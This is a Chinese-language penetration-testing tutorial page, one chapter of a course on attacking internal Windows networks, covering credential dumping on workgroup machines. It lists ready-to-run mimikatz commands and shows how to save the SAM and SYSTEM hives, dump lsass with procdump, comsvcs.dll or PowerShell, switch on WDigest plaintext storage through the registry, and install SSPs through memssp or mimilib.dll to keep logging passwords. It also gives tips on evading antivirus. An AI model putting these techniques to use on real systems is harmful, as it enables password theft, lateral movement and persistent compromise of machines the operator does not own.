内网渗透
01基础知识
02域环境的搭建
03工作组权限
04域内权限
05Windows本地认证
06网络认证
07Kerberos协议
08工作组的信息搜集
09域内的信息搜集
10工作组的密码抓取
11域内的密码抓取
12Dcsync原理以及攻击
13RDP密码凭证抓取
14横向移动概述
15IPC$横向移动
16PTH哈希传递
17PTK密钥传递
18PTT票据传递
19PSexec进行横向移动
20SMBexec进行横向移动
21利用WinRM服务进行横向移动
22利用WMI进行横向移动
23用户枚举与喷洒
24用户枚举与喷洒-实验
25Roasting攻击
26Kerberoasting
27黄金票据
28黄金票据-实验
29白银票据
30白银票据-实验
31委派概述
32非约束性委派攻击
33约束性委派攻击
34约束性委派攻击-实验
35基于资源的约束性委派
36基于资源的约束性委派-实验
-
+
首页
10工作组的密码抓取
> 需要抓取哪些密码呢? - 本地账户密码(或者hash) - 域账户密码(或者hash) - RDP账户密码 - 浏览器账户密码 - 数据库账户密码 - 本地保存的账户密码文件 ## GetPassword 注意:需使用高权限用户操作 打开GetPass工具所在的目录。打开命令行环境。运行64位程GetPassword。运行该程序后,即可获得明文密码  ## PwDump7 以高权限用户身份打开cmd,直接运行PwDump7.exe 就可得到用户的hash值  ## QuarksPwDump 同样为NTLM hash值 命令格式(高权限用户执行): ``` QuarksPwDump.exe --dump-hash-local ```  ## Mimikatz 项目地址:https://github.com/gentilkiwi/mimikatz/ 注意:使用高权限用户操作 > 简介 Mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具,但由于其功能强大,能够 直接读取WindowsXP-2012等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具, mimikatz可以从内存中提取明文密码、哈希、PIN 码和 kerberos 票证。 mimikatz 还可以执行 哈希传递、票证传递或构建黄金票据。 > 密码使用方法   两个命令: privilege::debug sekurlsa::logonpasswords #抓取内存中的所有密码 > 其他模块 sekurlsa模块 ```txt privilege模块 privilege:: debug #提升为debug权限 sekurlsa:模块 从lsass进程中提取passwords、keys. pin、 tickets等信息 sekur1sa::msv #获取HASH (LM,NTLM) sekurlsa::wdigest #通过可逆的方式去内存中读取明文密码 sekurlsa::Kerberos #假如域管理员正好在登陆了我们的电脑,我们可以通过这个命令来获取域管理员的明文密码 sekurlsa::tspkg #通过tspkg读取明文密码 sekurlsa::livessp #通过livessp读取明文密码sekurlsa::ssp通过ssp读取明文密码 sekurlsa::logonPasswords #通过以上各种方法读取明文密码 sekurlsa::process #将自己的进程切换到lsass进程中,之前只是注入读取信息 sekurlsa::minidump file #这个模块可以读取已经打包的内存信息 sekurlsa::pth #哈希传递 sekurlsa::pth /user:administrator/domain:host1 /ntlm:cdf34cda4e455232323xXxx sekurlsa::pth /user:administrator /domain:host1 /aes256:cdf34cda4e455232323xXXX ``` process模块 ```txt process::list #列出进程列表 process::exports #导出进程列表 process::imports #导入列表 process::start #开始一个进程 process::stop #停止一个进程 process::suspend #冷冻一个进程 process::resume #从冷冻中恢复 process::run 程序名 #运行一个程序 process::runp #以SYSTEM系统权限打开一个新的mimikatz窗口 ``` 等等 # 在线读取SAM文件中的hash值 ### 概述 在线读取即指定是将工具上传到目标的机器然后再直接读取机器上的SAM文件中的内容 弊端:上传的工具可能会被杀软杀掉;工具可能会因为网络问题传输可能不太完整; 本次主要读取的是NTLM-HASH值 ### 方式一 mimikatz 命令如下: ``` privilege::debug token::elevate lsadump::sam ```  将三条合并为一条为: ``` mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit ```  ### 方式二 CS读取 cs上线后进入机器的beacon模块  命令(高权限用户):hasudump  # 离线读取SAM文件中的hash值 ### 概述 离线读取也就是不需要在受害机器本地读取,可以将SAM文件复制到自己的电脑上,然后再利用工具进行读取 离线读取可以在一定程度上可以躲避杀软 ### 方式一 reg命令 命令为: reg save hklm\sam sam.hive reg save hklm\system system.hive  ### 方式二 PS脚本 如果遇到此问题  请打开powershell,输入命令为:set-executionpolicy  关闭powershell 再鼠标右键,以管理员运行  再输入该命令:set-executionpolicy remotesigned  再次导入,执行脚本  ### 读取复制的文件 使用mimikatz工具读取sam文件 命令为: lsadump::sam /sam:sam.hive /system:system.hive   # 在线读取lsass进程内存密码 ### 概述 上传工具到目标机器然后再读取机器内的lsass内存中的明文密码 这里主要读取的是明文密码 弊端:上传的工具可能会被杀软杀掉 ### 工具mimikatz读取 mimikatz支持各种方式读取机器上的密码 ```txt privilege:debug sekurlsa.:msv #获取HASH (LM,NTLM) sekurlsa.:wdigest #通过可逆的方式去内存中读取明文密码 sekurlsa.Kerberos #获取域管理员的明文密码 sekurlsa..tspkg #通过tspkg读取明文密码 sekurlsa::livessp #通过livessp读取明文密码 sekurlsa.ssp #通过ssp读取明文密码 sekurlsa::logonPasswords #通过以上各种方法读取明文密码 ```  一般情况下,都会直接使用sekurlsa::logonPasswords,读取密码 # 离线读取lsass进程内存密码 ### 概述 离线读取即不再需要本地读取密码,先将机器上的lsass内存导出,然后在自己的电脑中使用mimikatz工具读取导出的文件,即可得到明文的账户密码。 可在一定程度上躲避杀软 ### 方式一 任务管理器导出 在任务管理器中找到lsass.exe进程,右键创建转储文件   ### 方式二 procdump工具 使用procdump 导出lsass.dmp文件, ProcDump 是一个命令行实用工具,其主要用途 是在管理员或开发人员可用于确定峰值原因的峰值期间监视 CPU 峰值和生成故障转储的应用程序,微软的一般不会被杀软杀掉。 命令: procdump.exe -accepteula -ma lsass.exe lsass.dmp  ### 方式三 PS脚本 命令: Import-Module .\Out-Minidump.ps1 Get-Process lsass | Out-Minidump  ### 方式四 comsvcs.dll comsvcs.dll,系统自带 通过comsvcs.dll的导出函数MiniDump实现dump内存读取 命令: 先查询lsass.exe的进程号: tasklist | findstr lsass.exe 使用powershell导出rundll32: rundll32 C:\Windows\System32\comsvcs.dll, MiniDump 480 C:\Users\Administrator\Desktop\lsass.dmp full  ### 读取文件 使用mimikatz工具进行读取 > 命令 mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" 或者 第一个命令:sekurlsa::minidump lsass.dmp 第二个命令:sekurlsa::logonPasswords full 读取任务管理器导出的lsass.DMP文件  其他三种方式导出的文件-读取方式一样(注意导出的文件名)  # 修改Wdigest注册表获取系统密码 ### 概述 Win7、 Win server 2008等这样的机器内存中是存储明文的密码,但是在2012之后的机器(win10、win 8、win11、 2012、2016)或者安装了KB2971997补丁是内存中就不在存储明文密码了,我们就无法通过之前学习的方法抓取到明文的密码。 在Windows 2012系统及以上的系统,默认在内存中禁止保存明文密码。 攻击者可以通过修改注册表的方式抓取明文密码,但是需要用户重新登陆后才能成功抓取 > 注册表中开启或关闭存储明文密码 ```txt reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 开启 reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f 关闭 ``` ### 操作 1、首先查询注册表中是否存在该值 命令: ``` reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /V UseLogonCredential ``` 2、修改UseLogonCredential的值为1(如果没有查到该值,可直接添加) 使用管理员权限修改 命令 ``` reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f ```  3、修改成功之后,内存就可以存储明文密码了,但需要用户重新输入密码 三种方式: - 锁屏,重新登录( rundll32.exe user32.dll,LockWorkStation) - 注销用户(query user 查询用户,logoff id 注销用户) - 重启计算机 4、使用Mimikatz读取计算机中的存储的明文密码 ``` privilege::debug sekurlsa::logonPasswords ```  # 内存注入SSP获取系统密码 ### 概述 在Mimikatz中,有写好的恶意ssp,可以提供本地认证时候对明文账户密码进行记录。我们需要将ssp注入到系统内存中,就可以获取本地的明文账户密码。 由于注入在内存中,所以重启就失效了,故该攻击也称之为SSP注入。 ### 操作 1、第一步将SSP注入到内存中,两种方式: - 使用mimikatz - 使用ps脚本 使用mimikatz ``` privilege::debug misc::memssp ```  2、需要用户重新输入密码 通过锁屏或注销等方式 锁屏命令:rundll32.exe user32.dll,LockWorkStation 3、输入密码后,在C:\Windows\System32\mimilsa.log即可查看明文密码  # 注册表添加SSP获取系统密码 ### 概述 SSP注入只要计算机重启即无法使用,想要使得永久生效,需要将SSP添加到注册表中,只要系统重启就会加载SSP。 ### 操作 1、将mimikatz压缩包中的mimilib.dll,这个文件就是SSP,将该文件复制到C:\Windows\System32目录中  2、修改注册表 命令 ```txt reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d mimilib.dll /f ```  3、密码会存储在C:\Windows\System32\kiwissp.log文件中 
毛林
2025年9月7日 11:39
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码